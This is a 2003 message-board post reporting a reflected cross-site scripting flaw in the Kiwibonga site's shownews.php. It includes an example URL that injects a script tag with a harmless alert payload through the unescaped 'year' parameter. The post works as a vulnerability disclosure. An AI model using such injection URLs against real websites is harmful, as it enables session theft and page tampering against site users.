| Kiwibonga Advance Message Boards Register | Member List | Site main | Board main |
|
| M_DCad 01/10/2003 08:43:21AM | Example URL (Remove the space inbetween "scr" and "ipt"):
http://www.kiwibonga.com/gba/shownews.php?action=showarchive&month=1&year=%3Cscr ipt%3Ealert(String.fromCharCode(68,111,104,33))%3C/script%3E This time, it's because of the way shownews.php prints $year (and probably $month, although I haven't checked this) to the page. |